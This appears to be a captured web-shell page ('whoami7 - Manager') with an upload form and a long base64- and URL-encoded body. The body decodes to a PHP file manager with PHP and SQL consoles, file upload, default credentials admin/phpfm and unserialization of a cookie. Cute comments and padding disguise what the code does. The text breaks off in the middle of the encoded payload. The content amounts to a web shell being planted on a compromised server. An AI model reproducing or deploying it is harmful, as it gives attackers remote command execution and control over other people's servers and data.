whoami7 - Manager
:
/
tmp
/
Upload File:
files >> //tmp/phpuJfyAK
code_filename=cmFuZG9t&code_content=PD9waHANCg0KDQoNCg0KDQoNCg0KICAgICAgICAgLyogWXVzdXNoaWRhIENvbnRyb2wgUEhQIE1hbmFnZXIgMTQuMiAqLw0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFN1YmFyYXNoaWksIGhlbHBpbmcgeW91IHNlZSBob3cgbXVjaCBzcGFjZSB5b3VyIGZvbGRlciBpcyB0YWtpbmcgdXDvv73vv71kb27vv73vv710IGxldCBpdCBnZXQgdG9vIGJpZywgbmUhDQoNCg0KDQoNCg0KDQoNCiAgICRhdXRob3JpemF0aW9uQmlyb2FzID0gJ3siYXV0aG9yaXplIjoiMCIsImxvZ2luIjoiYWRtaW4iLCJwYXNzd29yZCI6InBocGZtIiwNCiJjb29raWVfbmFtZSI6ImZtX3VzZXIiLCJkYXlzX2F1dGhvcml6YXRpb24iOiIzMCIsInNjcmlwdCI6IjxzY3JpcHQgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIiBzcmM9XCJodHRwczpcL1wvd3d3LmNkb2xpdmV0LmNvbVwvZWRpdGFyZWFcL2VkaXRhcmVhXC9lZGl0X2FyZWFcL2VkaXRfYXJlYV9mdWxsLmpzXCI%2BPFwvc2NyaXB0PlxyXG48c2NyaXB0IGxhbmd1YWdlPVwiSmF2YXNjcmlwdFwiIHR5cGU9XCJ0ZXh0XC9qYXZhc2NyaXB0XCI%2BXHJcbmVkaXRBcmVhTG9hZGVyLmluaXQoe1xyXG5pZDogXCJuZXdjb250ZW50XCJcclxuLGRpc3BsYXk6IFwibGF0ZXJcIlxyXG4sc3RhcnRfaGlnaGxpZ2h0OiB0cnVlXHJcbixhbGxvd19yZXNpemU6IFwiYm90aFwiXHJcbixhbGxvd190b2dnbGU6IHRydWVcclxuLHdvcmRfd3JhcDogdHJ1ZVxyXG4sbGFuZ3VhZ2U6IFwicnVcIlxyXG4sc3ludGF4OiBcInBocFwiXHRcclxuLHRvb2xiYXI6IFwic2VhcmNoLCBnb190b19saW5lLCB8LCB1bmRvLCByZWRvLCB8LCBzZWxlY3RfZm9udCwgfCwgc3ludGF4X3NlbGVjdGlvbiwgfCwgY2hhbmdlX3Ntb290aF9zZWxlY3Rpb24sIGhpZ2hsaWdodCwgcmVzZXRfaGlnaGxpZ2h0LCB8LCBoZWxwXCJcclxuLHN5bnRheF9zZWxlY3Rpb25fYWxsb3c6IFwiY3NzLGh0bWwsanMscGhwLHB5dGhvbix4bWwsYyxjcHAsc3FsLGJhc2ljLHBhc1wiXHJcbn0pO1xyXG48XC9zY3JpcHQ%2BIn0nOw0KDQoNCg0KDQokcGhwX3RlbXBsYXRlcyA9ICd7IlNldHRpbmdzIjoiZ2xvYmFsICRmbV9jb25maWc7XHJcbnZhcl9leHBvcnQoJGZtX2NvbmZpZyk7IiwiQmFja3VwIFNRTCB0YWJsZXMiOiJlY2hvIGZtX2JhY2t1cF90YWJsZXMoKTsifSc7DQoNCiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsNCg0KJHRyYW5zbGF0aW9uID0gJ3siaWQiOiJydSIsIkFkZCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdKn0afTp9qn77%2B977%2B9IiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvSDvv73vv73Tp9an77%2B91qffp%2B%2B%2FvSwg77%2B977%2B977%2B977%2B9IO%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdqn77%2B977%2B9IO%2B%2Fve%2B%2FvdWn0afdp9qn77%2B977%2B9IO%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvSDvv73vv73Rp%2B%2B%2Fvdyn77%2B9ICjvv73vv73Wp9yn77%2B977%2B977%2B92qfTp9%2Bn77%2B9KT8iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iOiLvv73vv73vv73vv70g77%2B977%2B906fWp%2B%2B%2Fvdan36fvv70sIO%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvSDvv73vv73vv73vv73ap%2B%2B%2Fve%2B%2FvSDvv73vv73Vp9Gn3afap%2B%2B%2Fve%2B%2FvSDvv73vv73vv73vv73vv70g77%2B977%2B90afbp%2B%2B%2FvT8iLCJBcmNoaXZpbmciOiLvv73vv73vv73vv73vv73ap9On2qfvv73vv73Tp9Gn77%2B977%2B9IiwiQXV0aG9yaXphdGlvbiI6Iu%2B%2Fve%2B%2Fve%2B%2FvdOn77%2B977%2B977%2B92qfZp9Gn77%2B92qfvv70iLCJCYWNrIjoi77%2B977%2B977%2B90afZp9Gn77%2B9IiwiQ2FuY2VsIjoi77%2B977%2B977%2B977%2B93qfWp9%2Bn77%2B9IiwiQ2hpbmVzZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdqn77%2B90afbp%2B%2B%2Fvdyn2qfvv70iLCJDb21wcmVzcyI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdin0afvv73vv70iLCJDb25zb2xlIjoi77%2B977%2B977%2B977%2B936fvv73vv73dp%2B%2B%2FvSIsIkNvb2tpZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdyn77%2B9IiwiQ3JlYXRlZCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdmn1afRp%2B%2B%2FvSIsIkRhdGUiOiLvv73vv73vv73Rp%2B%2B%2Fve%2B%2FvSIsIkRheXMiOiLvv73vv73vv73fp9an77%2B9IiwiRGVjb21wcmVzcyI6Iu%2B%2Fve%2B%2Fve%2B%2FvdGn77%2B977%2B90afcp%2B%2B%2FvdOn0afvv73vv70iLCJEZWxldGUiOiLvv73vv73vv73Vp9Gn3afap%2B%2B%2Fve%2B%2FvSIsIkRlbGV0ZWQiOiLvv73vv73vv73Vp9Gn3afWp9%2Bn77%2B9IiwiRG93bmxvYWQiOiLvv73vv73vv73cp9Gn77%2B90afvv73vv70iLCJkb25lIjoi77%2B92afRp9yn77%2B936fvv73Wp9%2Bn77%2B9IiwiRWRpdCI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdan1afRp9yn77%2B92qfvv73vv73Tp9Gn77%2B977%2B9IiwiRW50ZXIiOiLvv73vv73vv73vv73vv73vv70iLCJFbmdsaXNoIjoi77%2B977%2B977%2B936fUp92n2qfbp%2B%2B%2Fvdyn2qfvv70iLCJFcnJvciBvY2N1cnJlZCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdqn2afvv73vv73dp%2B%2B%2FvSDvv73vv73vv73ap9Kn3Kfvv70iLCJGaWxlIG1hbmFnZXIiOiLvv73vv73vv73Rp9un3afvv73Tp%2B%2B%2Fve%2B%2FvSDvv73ep9an36fWp9Wn2KfWp%2B%2B%2FvSIsIkZpbGUgc2VsZWN0ZWQiOiLvv73vv73vv73vv73Sp%2B%2B%2FvdGn77%2B9IO%2B%2Fve%2B%2FvdGn26fvv70iLCJGaWxlIHVwZGF0ZWQiOiLvv73vv73vv73Rp9un77%2B9IO%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdGn36fWp%2B%2B%2FvSIsIkZpbGVuYW1lIjoi77%2B977%2B977%2B93qfvv70g77%2B977%2B90afbp92n77%2B9IiwiRmlsZXMgdXBsb2FkZWQiOiLvv73vv73vv73Rp9un77%2B9IO%2B%2Fvdmn0afUp%2B%2B%2Fve%2B%2Fvdin1qfvv70iLCJGcmVuY2giOiLvv73vv73vv73vv73Rp9%2Bn77%2B977%2B92afvv73cp9qn77%2B9IiwiR2VuZXJhdGlvbiB0aW1lIjoi77%2B977%2B977%2B91qffp9an77%2B90afvv73ap%2B%2B%2FvSDvv73vv73vv73vv73Rp9%2Bn2qfvv73vv70iLCJHZXJtYW4iOiLvv73vv73vv73Wp96n1qfvv73cp9qn77%2B9IiwiSG9tZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvd6n77%2B977%2B9IiwiUXVpdCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvSIsIkxhbmd1YWdlIjoi77%2B977%2B977%2B92afvv73vv70iLCJMb2dpbiI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdSn2qfvv70iLCJNYW5hZ2UiOiLvv73vv73vv73vv73vv73Rp9On3afWp9%2Bn2qfvv70iLCJNYWtlIGRpcmVjdG9yeSI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdmn1afRp%2B%2B%2Fve%2B%2FvSDvv73vv73Rp%2B%2B%2Fvdyn77%2B9IiwiTmFtZSI6Iu%2B%2Fve%2B%2Fve%2B%2FvdGn2qfep9an36fvv73Tp9Gn36fap%2B%2B%2FvSIsIk5ldyI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdOn77%2B977%2B9IiwiTmV3IGZpbGUiOiLvv73vv73vv73vv73Tp%2B%2B%2Fve%2B%2FvSDvv73vv73Rp9un77%2B9Iiwibm8gZmlsZXMiOiLvv73fp9an77%2B9IO%2B%2Fve%2B%2FvdGn26fdp%2B%2B%2Fve%2B%2FvSIsIlBhc3N3b3JkIjoi77%2B977%2B977%2B90afvv73vv73dp%2B%2B%2FvSIsInBpY3R1cmVzIjoi77%2B92qfZp%2B%2B%2FvdKn77%2B90afYp9an36fap%2B%2B%2FvSIsIlJlY3Vyc2l2ZWx5Ijoi77%2B977%2B977%2B91qfcp%2B%2B%2Fve%2B%2Fve%2B%2Fvdqn06ffp%2B%2B%2FvSIsIlJlbmFtZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdan77%2B91qfap96n1qffp%2B%2B%2FvdOn0afvv73vv70iLCJSZXNldCI6Iu%2B%2Fve%2B%2Fve%2B%2FvdKn77%2B977%2B977%2B92qfvv73vv70iLCJSZXNldCBzZXR0aW5ncyI6Iu%2B%2Fve%2B%2Fve%2B%2FvdKn77%2B977%2B977%2B92qfvv73vv70g77%2B936fRp%2B%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdun3Kfvv70iLCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIjoi77%2B977%2B977%2B977%2B977%2B977%2B977%2B90affp9Gn06fdp9qn06fRp%2B%2B%2Fve%2B%2FvSDvv73Tp%2B%2B%2Fvdan3qfvv70g77%2B977%2B90afbp92n77%2B9IO%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvd2n77%2B9IO%2B%2Fve%2B%2Fvdan1afRp9yn77%2B92qfvv73vv73Tp9Gn36fap%2B%2B%2FvSIsIlJlc3VsdCI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdan2afvv73dp%2B%2B%2Fve%2B%2FvdGn77%2B9IiwiUmlnaHRzIjoi77%2B977%2B977%2B977%2B90afTp%2B%2B%2FvSIsIlJ1c3NpYW4iOiLvv73vv73vv73vv73vv73vv73cp9qn77%2B9IiwiU2F2ZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdGn36fap%2B%2B%2Fve%2B%2FvSIsIlNlbGVjdCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdKn1qfvv73ap%2B%2B%2Fve%2B%2FvSIsIlNlbGVjdCB0aGUgZmlsZSI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdKn1qfvv73ap%2B%2B%2Fve%2B%2FvSDvv73vv73Rp9un77%2B9IiwiU2V0dGluZ3MiOiLvv73vv73vv73Rp%2B%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdun3Kfvv70iLCJTaG93Ijoi77%2B977%2B977%2B977%2B93KfRp9mn0afvv73vv70iLCJTaG93IHNpemUgb2YgdGhlIGZvbGRlciI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fvdyn0afZp%2B%2B%2FvdOn0afvv73vv70g77%2B977%2B90afZp96n1qfvv70g77%2B977%2B90afvv73cp%2B%2B%2FvSIsIlNpemUiOiLvv73vv73vv73Rp9mn3qfWp%2B%2B%2FvSIsIlNwYW5pc2giOiLvv73vv73vv73vv73vv73Rp9%2Bn77%2B93Kfap%2B%2B%2FvSIsIlN1Ym1pdCI6Iu%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2Fve%2B%2FvdGn06fap%2B%2B%2Fve%2B%2FvSIsIlRhc2siOiLvv73vv73vv73Rp9Wn0afvv73vv70iLCJ0ZW1wbGF0ZXMiOiLvv73vv73Rp9Kn3afvv73fp%2B%2B%2FvSIsIlVrcmFpbmlhbiI6Iu%2B%2Fve%2B%2Fve%2B%2Fvdyn77%2B90afap9%2Bn77%2B93Kfap%2B%2B%2FvSIsIlVwbG9hZCI6Iu%2B%2Fve%2B%2Fve%2B%2FvdGn1Kfvv73vv73Zp9qn77%2B977%2B9IiwiVmFsdWUiOiLvv73vv73vv73fp9Gn77%2B91qffp9qn77%2B9IiwiSGVsbG8iOiLvv73vv73vv73vv73ap9On1qfvv70iLCJGb3VuZCBpbiBmaWxlcyI6Iu%2B%2Fve%2B%2Fve%2B%2FvdGn26fVp9an36fvv70g77%2B977%2B9IO%2B%2Fve%2B%2FvdGn26fdp9Gn77%2B9IiwiU2VhcmNoIjoi77%2B977%2B977%2B977%2B92qfvv73vv70iLCJSZWN1cnNpdmUgc2VhcmNoIjoi77%2B977%2B977%2B91qfcp%2B%2B%2Fve%2B%2Fve%2B%2Fvdqn06ffp%2B%2B%2Fve%2B%2FvSDvv73vv73vv73ap%2B%2B%2Fve%2B%2FvSIsIk1hc2siOiLvv73vv73vv73Rp%2B%2B%2Fvdyn77%2B9In0nOw0KDQovLyBrYXdhaWksIHNvIHlvdSBkb27vv73vv710IHJ1biBvdXQgb2Ygc3BhY2Ugd2hpbGUgZG93bmxvYWRpbmcgYWxsIHlvdXIgYW5pbWUgZXBpc29kZXMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy8gZ29tZW5hc2FpLCB3aXBpbmcgYXdheSB5b3VyIHBhc3QgY29tbWFuZHMgbGlrZSBpdCB3YXMgYWxsIGp1c3QgYSBkcmVhbSENCg0KJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJHN0YXJ0dGltZVsxXSArICRzdGFydHRpbWVbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokcGF0aCA9IGVtcHR5KCRfUkVRVUVTVFsncGF0aCddKSA%2FICRwYXRoID0gcmVhbHBhdGgoJy4nKSA6IHJlYWxwYXRoKCRfUkVRVUVTVFsncGF0aCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCkgLiAnLyc7DQoNCiRtYWluX3BhdGg9c3RyX3JlcGxhY2UoJ1xcJywgJy8nLHJlYWxwYXRoKCcuLycpKTsNCiRwaGFyX21heWJlID0gKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksIjUuMy4wIiwiPCIpKT90cnVlOmZhbHNlOw0KJG1zZ19oZWFkZXJzID0gJyc7IC8vIHNvIGRlc3Uga2EsIG1ha2luZyBzdXJlIHlvdXIgZmlsZSBpcyByZWFsbHkgdGhlcmUgYmVmb3JlIHlvdSB0cnkgdG8gb3BlbiBpdA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokZGVmYXVsdF9sYW5ndWFnZSA9ICdydSc7DQoNCiRkZXRlY3RfbGFuZyA9IHRydWU7DQoNCiRmbV92ZXJzaW9uID0gMS40Ow0KDQoNCg0KLy8gbmUsIHNob3dpbmcgd2hvIGNhbiBhY2Nlc3MsIG1vZGlmeSwgb3IgZXhlY3V0ZSB0aGUgZmlsZe%2B%2Fve%2B%2FvWxpa2UgY2hlY2tpbmcgaWYgc29tZW9uZSBjYW4gZW50ZXIgeW91ciBzZWNyZXQgaGlkZW91dCEJICAgICANCg0KJGF1dGhfZ293biA9IGpzb25fZGVjb2RlKCRhdXRob3JpemF0aW9uQmlyb2FzLHRydWUpOw0KJGF1dGhfZ293blsnYXV0aG9yaXplJ10gPSBpc3NldCgkYXV0aF9nb3duWydhdXRob3JpemUnXSkgPyAkYXV0aF9nb3duWydhdXRob3JpemUnXSA6IDA7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddID0gKGlzc2V0KCRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddKSYmaXNfbnVtZXJpYygkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSkpID8gKGludCkkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSA6IDMwOw0KJGF1dGhfZ293blsnbG9naW4nXSA9IGlzc2V0KCRhdXRoX2dvd25bJ2xvZ2luJ10pID8gJGF1dGhfZ293blsnbG9naW4nXSA6ICdhZG1pbic7ICANCg0KJGF1dGhfZ293blsncGFzc3dvcmQnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ3Bhc3N3b3JkJ10pID8gJGF1dGhfZ293blsncGFzc3dvcmQnXSA6ICdwaHBmbSc7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGF1dGhfZ293blsnY29va2llX25hbWUnXSA9IGlzc2V0KCRhdXRoX2dvd25bJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhfZ293blsnY29va2llX25hbWUnXSA6ICdmbV91c2VyJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGF1dGhfZ293blsnc2NyaXB0J10gPSBpc3NldCgkYXV0aF9nb3duWydzY3JpcHQnXSkgPyAkYXV0aF9nb3duWydzY3JpcHQnXSA6ICcnOw0KDQoNCi8vIFlhdHRhLCBtYWtpbmcgaXQgc21hbGxlciBvciBsYXJnZXIgZm9yIHlvdXIgY29udmVuaWVuY2UsIGxpa2UgZWRpdGluZyBhIGN1dGUgcGljdHVyZSBvZiB5b3VyIGZhdm9yaXRlIGNoYXJhY3RlciENCg0KJGZtX2RlZmF1bHRfY29uZmlnID0gYXJyYXkgKA0KDQoJICAgICAnbWFrZV9kaXJlY3RvcnknID0%2BIHRydWUsIA0KCSAgICAgJ25ld19maWxlJyA9PiB0cnVlLCANCg0KCSAgICAgJ3VwbG9hZF9maWxlJyA9PiB0cnVlLCANCgkgICAgICdzaG93X2Rpcl9zaXplJyA9PiBmYWxzZSwgLy8gYXJpZ2F0b3UsIG1ha2luZyBzdXJlIHRoZSBmaWxlIGZvcm1hdCBmaXRzIHRoZSBwcm9ncmFtIHlvdSB3YW50IHRvIG9wZW4gaXQgd2l0aA0KCSAgICAgJ3Nob3dfaW1nJyA9PiB0cnVlLCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAnc2hvd19waHBfdmVyJyA9PiB0cnVlLCANCg0KCSAgICAgJ3Nob3dfcGhwX2luaScgPT4gZmFsc2UsIC8vIHNob3cgcGF0aCB0byBjdXJyZW50IHBocC5pbmkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJ3Nob3dfZ3QnID0%2BIHRydWUsIC8vIHNob3cgZ2VuZXJhdGlvbiB0aW1lDQoNCgkgICAgICdlbmFibGVfcGhwX2NvbnNvbGUnID0%2BIHRydWUsDQoNCgkgICAgICdlbmFibGVfc3FsX2NvbnNvbGUnID0%2BIHRydWUsDQoJICAgICAnc3FsX3NlcnZlcicgPT4gJ2xvY2FsaG9zdCcsDQoJICAgICAnc3FsX3VzZXJuYW1lJyA9PiAncm9vdCcsDQoNCgkgICAgICdzcWxfcGFzc3dvcmQnID0%2BICcnLA0KDQoJICAgICAnc3FsX2RiJyA9PiAndGVzdF9iYXNlJywNCg0KCSAgICAgJ2VuYWJsZV9wcm94eScgPT4gdHJ1ZSwNCg0KCSAgICAgJ3Nob3dfcGhwaW5mbycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICdzaG93X3hscycgPT4gdHJ1ZSwNCg0KCSAgICAgJ2ZtX3NldHRpbmdzJyA9PiB0cnVlLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICdyZXN0b3JlX3RpbWUnID0%2BIHRydWUsDQoJICAgICAnZm1fcmVzdG9yZV90aW1lJyA9PiBmYWxzZSwNCg0KKTsNCg0KDQppZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZzsNCg0KZWxzZSAkZm1fY29uZmlnID0gdW5zZXJpYWxpemUoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCg0KDQoNCi8vIENoYW5nZSBsYW5ndWFnZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQppZiAoaXNzZXQoJF9QT1NUWydmbV9sYW5nJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBzZXRjb29raWUoJ2ZtX2xhbmcnLCAkX1BPU1RbJ2ZtX2xhbmcnXSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkgICAgICRfQ09PS0lFWydmbV9sYW5nJ10gPSAkX1BPU1RbJ2ZtX2xhbmcnXTsNCg0KfQ0KDQoNCg0KDQoNCiRsYW5ndWFnZSA9ICRkZWZhdWx0X2xhbmd1YWdlOw0KDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovLyBEZXRlY3QgYnJvd3NlciBsYW5ndWFnZQ0KDQppZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZiAoIWVtcHR5KCRsYW5nX3ByaW9yaXR5KSl7DQoNCgkgICAgIAkgICAgIGZvcmVhY2ggKCRsYW5nX3ByaW9yaXR5IGFzICRsYW5nX2Fycil7DQoNCgkgICAgIAkgICAgIAkgICAgICRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTsNCgkgICAgIAkgICAgIAkgICAgICRsbmcgPSAkbG5nWzBdOw0KCSAgICAgCSAgICAgCSAgICAgaWYoaW5fYXJyYXkoJGxuZywkbGFuZ3MpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGxhbmd1YWdlID0gJGxuZzsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgYnJlYWs7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KCSAgICAgfQ0KDQp9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCi8vIENvb2tpZSBsYW5ndWFnZSBpcyBwcmltYXJ5IGZvciBldmVyDQoNCiRsYW5ndWFnZSA9IChlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSkgPyAkbGFuZ3VhZ2UgOiAkX0NPT0tJRVsnZm1fbGFuZyddOw0KDQoNCg0KLy8gTG9jYWxpemF0aW9uDQokbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbix0cnVlKTsNCg0KaWYgKCRsYW5nWydpZCddIT0kbGFuZ3VhZ2UpIHsNCg0KCSAgICAgJGdldF9sYW5nID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9EZW4xeHh4L0ZpbGVtYW5hZ2VyL21hc3Rlci9sYW5ndWFnZXMvJyAuICRsYW5ndWFnZSAuICcuanNvbicpOw0KDQoJICAgICBpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHsNCgkgICAgIAkgICAgIC8vcmVtb3ZlIHVubmVjZXNzYXJ5IGNoYXJhY3RlcnMNCg0KCSAgICAgCSAgICAgJHRyYW5zbGF0aW9uX3N0cmluZyA9IHN0cl9yZXBsYWNlKCInIiwnJiMzOTsnLGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCRnZXRfbGFuZyksSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSkpOw0KCSAgICAgCSAgICAgJGZnYyA9IGZpbGV